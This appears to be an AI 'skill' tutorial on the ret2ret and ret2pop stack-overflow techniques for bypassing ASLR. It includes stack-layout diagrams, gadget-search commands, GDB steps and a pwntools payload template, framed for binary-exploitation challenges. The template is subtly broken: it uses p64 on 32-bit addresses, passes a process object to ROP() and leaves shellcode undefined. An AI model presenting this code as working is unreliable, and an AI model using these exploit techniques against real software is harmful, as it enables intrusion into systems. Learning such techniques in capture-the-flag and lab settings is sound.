Ret2ret & Ret2pop Exploitation

This skill teaches you how to bypass ASLR (Address Space Layout Randomization) by abusing existing pointers in the stack through Ret2ret and Ret2pop techniques.

Core Concepts

What is Ret2ret?

Ret2ret is a technique to bypass ASLR by abusing an existing pointer in the stack.

Key insight: Stack overflows are usually caused by strings, and strings end with a null byte (

0x00

) at the end in memory. This allows you to modify the lowest byte of an existing stack pointer.

Example: If the stack contained

0xbfffffdd

, a string overflow could transform it into

0xbfffff00

(the last byte becomes zeroed).

If that modified address points to your shellcode in the stack, you can make execution flow reach that address by chaining

ret

instructions until the modified pointer is reached.

What is Ret2pop?

Ret2pop is a variant used when you find a perfect pointer in the stack that you don't want to modify.

Key difference: Instead of modifying the pointer with

0x00

, you:

1. Shorten the RET sled by 1 address
2. Make the last address of the RET sled point to

   pop <reg>; ret

3. The

   pop

   instruction removes the data affected by the

   0x00

   from the stack
4. The final

   ret

   points to the perfect address without any change

Attack Methodology

Ret2ret Attack Structure

[Stack Layout]
├── NOP sled
├── Shellcode
├── Overwrite EIP with RET sled (addresses to `ret` instruction)
└── 0x00 byte modifies existing stack pointer → points to NOP sled

Step-by-step:

1. Find a suitable stack pointer - Look for an existing pointer in the stack that, when its lowest byte is zeroed, points to a useful location (your shellcode/NOP sled)

2. Craft the payload:

   • NOP sled (for landing zone)
   • Shellcode
   • RET sled: chain of addresses pointing to

     ret

     instructions
   • The string's null terminator will modify the target pointer

3. Calculate RET sled length - Count how many

   ret

   instructions you need to reach the modified pointer

4. Test and iterate - Use GDB to verify the pointer modification and control flow

Ret2pop Attack Structure

[Stack Layout]
├── NOP sled
├── Shellcode
├── RET sled (shortened by 1)
├── pop <reg>; ret instruction
└── 0x00 byte overwrites data before perfect pointer

Step-by-step:

1. Find a perfect pointer - An existing stack pointer that already points to useful code/data

2. Craft the payload:

   • NOP sled
   • Shellcode
   • RET sled (one address shorter than ret2ret)
   • Last address:

     pop <reg>; ret

     gadget
   • The null byte overwrites data before the perfect pointer

3. The pop instruction removes the corrupted data, leaving the perfect pointer intact

4. Final ret jumps to the unmodified perfect pointer

Practical Implementation

Finding RET Gadgets

# Find ret instructions in the binary
ROPgadget --binary ./vulnerable_binary | grep "ret"

# Or use objdump
objdump -d ./vulnerable_binary | grep "^\s*[0-9a-f]*:\s*\s*c3"

Finding Pop+Ret Gadgets (for Ret2pop)

# Find pop reg; ret gadgets
ROPgadget --binary ./vulnerable_binary | grep "pop.*ret"

# Common patterns:
pop eax; ret
pop ebx; ret
pop ecx; ret
pop edx; ret

GDB Debugging Tips

# Set breakpoint at vulnerable function
gdb ./vulnerable_binary
(gdb) break vulnerable_function

# Run with input
(gdb) run $(python3 -c "print('A'*200 + 'B'*4)")

# Examine stack
(gdb) x/20wx $esp

# Look for useful pointers
(gdb) info registers
(gdb) x/10wx $ebp

Pwntools Template

from pwn import *

# Connect to target
p = process('./vulnerable_binary')
# p = remote('target.com', 1337)

# Find ret gadget
ret_addr = pwn.ROP(p).find_gadget('ret').address

# Find pop gadget (for ret2pop)
pop_ret = pwn.ROP(p).find_gadget('pop eax; ret').address

# Craft payload
payload = b''
payload += b'\x90' * 16  # NOP sled
payload += shellcode
payload += p64(ret_addr) * 10  # RET sled
# For ret2pop, add pop gadget at the end
# payload += p64(pop_ret)

p.sendline(payload)
p.interactive()

Common Patterns

Pattern 1: Simple Ret2ret

Scenario: Stack has pointer

0xbfffffdd

, you want

0xbfffff00

Payload structure:
[padding][NOP sled][shellcode][ret_addr]*N[null terminator]

The null terminator modifies 0xbfffffdd → 0xbfffff00
RET sled chains N rets to reach that pointer

Pattern 2: Ret2pop with Perfect Pointer

Scenario: Stack has perfect pointer at offset X, data before it gets corrupted

Payload structure:
[padding][NOP sled][shellcode][ret_addr]*(N-1)[pop_eax_ret][null terminator]

The null terminator corrupts data before perfect pointer
pop eax; ret removes that corrupted data
Final ret uses the perfect pointer

Debugging Checklist

• Verify ASLR is enabled:

  cat /proc/sys/kernel/randomize_va_space

• Confirm stack pointer exists at expected location
• Calculate exact offset to target pointer
• Verify RET sled length matches pointer distance
• Check for NX/DEP - may need ROP instead of shellcode
• Verify string null termination behavior
• Test with GDB before final exploit

References

• Original Ret2ret Example
• Ret2ret Exploit
• Ret2pop Example
• Ret2pop Exploit
• Tilo Mueller's Notes

When to Use This Skill

Use this skill when:

• You're working on a binary exploitation challenge with ASLR enabled
• You've identified a stack overflow vulnerability
• You need to bypass address randomization
• You want to understand how to leverage existing stack pointers
• You're analyzing or crafting ret2ret/ret2pop exploits
• You're studying advanced stack-based exploitation techniques